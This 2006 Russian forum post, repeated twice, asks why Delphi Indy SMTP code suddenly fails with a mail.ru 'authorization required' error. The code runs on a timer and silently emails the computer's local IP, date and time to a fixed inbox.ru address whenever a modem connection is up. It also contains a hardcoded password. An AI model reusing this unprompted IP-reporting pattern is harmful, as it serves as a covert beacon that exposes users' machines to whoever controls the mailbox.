Volk
18.03.2006, 12:31
Здравствуйте. Я использую в своей программе следующий код:
-------------------------------------------------------------------
procedure TForm1.Timer1Timer(Sender: TObject);
type TaPInAddr = Array[0..10] of PInAddr; PaPInAddr = ^TaPInAddr;
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;
strkind, D, T:string;
Indik: Integer;
phe: PHostEnt; pptr: PaPInAddr;Buffer: Array[0..63] of Char;I: Integer;GInitData: TWSAData;
begin
if GetConnect(strKind)and(strkind='Modem') then
begin
D:=FormatDateTime('dd.mm.yyyy', Date());
T:=FormatDateTime('hh:nn', Time());
LSMTP := TIdSMTP.Create(nil);
LMsg := TIdMessage.Create(LSMTP);
with LMsg do
begin
From.Address:=(IdIPWatch1.LocalIP);
Subject :='Тема';
Recipients.EMailAddresses := 'suport_service@inbox.ru';
From.Text :='odinokiy_volk@inbox.ru'; áóäåò ïèñüìî
Body.Add('Date:'+D);
Body.Add('Time:'+T);
end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := 'smtp.mail.ru';
Port :=25;
SocksInfo.Host:='odinokiy_volk@inbox.ru';
Password :='40968';
if SendE=false then
begin
Connect;
Send(LMsg);
SendE:=True;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);
end;
end;
end
else
sendE:=false;
end;
------------------------------------------------------------------
Вроде бы первое время работал. Ничё всё впоряде. А потом на отрез отказывается выдаёт ошибку: 503 Administrativie prohibition - - autorization requiered/ Users in your domian are not allowed to send email without authorization/See"Хэлп майл ру" Почему что нетак??? :confused: Подскажите!!! :( Меня это уже 2 месяца гложит. :o
--------------------------------------------------------------
Заранее всем спасибо!!!
-------------------------------------------------------------------
procedure TForm1.Timer1Timer(Sender: TObject);
type TaPInAddr = Array[0..10] of PInAddr; PaPInAddr = ^TaPInAddr;
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;
strkind, D, T:string;
Indik: Integer;
phe: PHostEnt; pptr: PaPInAddr;Buffer: Array[0..63] of Char;I: Integer;GInitData: TWSAData;
begin
if GetConnect(strKind)and(strkind='Modem') then
begin
D:=FormatDateTime('dd.mm.yyyy', Date());
T:=FormatDateTime('hh:nn', Time());
LSMTP := TIdSMTP.Create(nil);
LMsg := TIdMessage.Create(LSMTP);
with LMsg do
begin
From.Address:=(IdIPWatch1.LocalIP);
Subject :='Тема';
Recipients.EMailAddresses := 'suport_service@inbox.ru';
From.Text :='odinokiy_volk@inbox.ru'; áóäåò ïèñüìî
Body.Add('Date:'+D);
Body.Add('Time:'+T);
end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := 'smtp.mail.ru';
Port :=25;
SocksInfo.Host:='odinokiy_volk@inbox.ru';
Password :='40968';
if SendE=false then
begin
Connect;
Send(LMsg);
SendE:=True;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);
end;
end;
end
else
sendE:=false;
end;
------------------------------------------------------------------
Вроде бы первое время работал. Ничё всё впоряде. А потом на отрез отказывается выдаёт ошибку: 503 Administrativie prohibition - - autorization requiered/ Users in your domian are not allowed to send email without authorization/See"Хэлп майл ру" Почему что нетак??? :confused: Подскажите!!! :( Меня это уже 2 месяца гложит. :o
--------------------------------------------------------------
Заранее всем спасибо!!!